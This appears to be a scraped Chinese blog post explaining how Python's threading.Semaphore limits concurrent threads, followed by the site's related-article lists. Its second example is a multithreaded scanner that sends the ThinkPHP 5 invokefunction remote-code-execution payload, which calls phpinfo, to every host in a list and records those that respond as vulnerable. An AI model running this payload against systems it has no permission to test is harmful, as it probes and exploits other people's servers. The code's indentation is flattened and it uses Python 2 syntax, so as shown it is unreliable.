python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python中map,reduce,filter和sorted函数的使用方法
Aug 17 Python
结合Python的SimpleHTTPServer源码来解析socket通信
Jun 27 Python
让python 3支持mysqldb的解决方法
Feb 14 Python
老生常谈python之鸭子类和多态
Jun 13 Python
Python3简单实例计算同花的概率代码
Dec 06 Python
Python读取数据集并消除数据中的空行方法
Jul 12 Python
Pytorch加载部分预训练模型的参数实例
Aug 18 Python
使用TensorFlow搭建一个全连接神经网络教程
Feb 06 Python
TensorFlow通过文件名/文件夹名获取标签,并加入队列的实现
Feb 17 Python
python调用HEG工具批量处理MODIS数据的方法及注意事项
Feb 18 Python
django中ImageField的使用详解
Dec 21 Python
有趣的二维码:使用MyQR和qrcode来制作二维码
May 10 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
DedeCMS dede_channeltype表字段注释
2010/04/07 PHP
PHP正确配置mysql(apache环境)
2011/08/28 PHP
php实现window平台的checkdnsrr函数
2015/05/27 PHP
CI配置多数据库访问的方法
2016/03/28 PHP
php数据库的增删改查 php与javascript之间的交互
2017/08/31 PHP
PHP通过文件路径获取文件名的实例代码
2018/10/14 PHP
PHP的微信支付接口使用方法讲解
2019/03/08 PHP
符合W3C网页标准的iframe标签的使用方法
2007/07/19 Javascript
js AspxButton的客户端操作
2009/06/26 Javascript
原生javascript实现图片轮播效果代码
2010/09/03 Javascript
js实现俄罗斯方块小游戏分享
2014/01/31 Javascript
jquery插件开发之实现md5插件
2014/03/17 Javascript
jQuery动态创建html元素的常用方法汇总
2014/09/05 Javascript
DOM操作一些常用的属性汇总
2015/03/13 Javascript
使用控制台破解百小度一个月只准改一次名字
2015/08/13 Javascript
AngularJs 60分钟入门基础教程
2016/04/03 Javascript
利用Jquery队列实现根据输入数量显示的动画
2016/09/01 Javascript
微信小程序 连续旋转动画(this.animation.rotate)详解
2017/04/07 Javascript
bootstrap confirmation按钮提示组件使用详解
2017/08/22 Javascript
微信小程序实现的贪吃蛇游戏【附源码下载】
2018/01/03 Javascript
原生js封装的ajax方法示例
2018/08/02 Javascript
基于Python的XSS测试工具XSStrike使用方法
2017/07/29 Python
Python中修改字符串的四种方法
2018/11/02 Python
django使用LDAP验证的方法示例
2018/12/10 Python
如何使用Python标准库进行性能测试
2019/06/25 Python
全球速卖通西班牙站:AliExpress西班牙
2017/10/30 全球购物
苏格兰销售女装、男装和童装的连锁店:M&Co
2018/03/16 全球购物
存储过程的优缺点是什么
2015/01/10 面试题
不忘国耻振兴中华演讲稿
2014/05/14 职场文书
2013年最新自荐信范文
2014/06/23 职场文书
学生会辞职信
2015/03/02 职场文书
关于Vue Router的10条高级技巧总结
2021/05/06 Vue.js
教你怎么用Python生成九宫格照片
2021/05/20 Python
新手必备之MySQL msi版本下载安装图文详细教程
2021/05/21 MySQL
Python源码解析之List
2021/05/21 Python
Pandas自定义选项option设置
2021/07/25 Python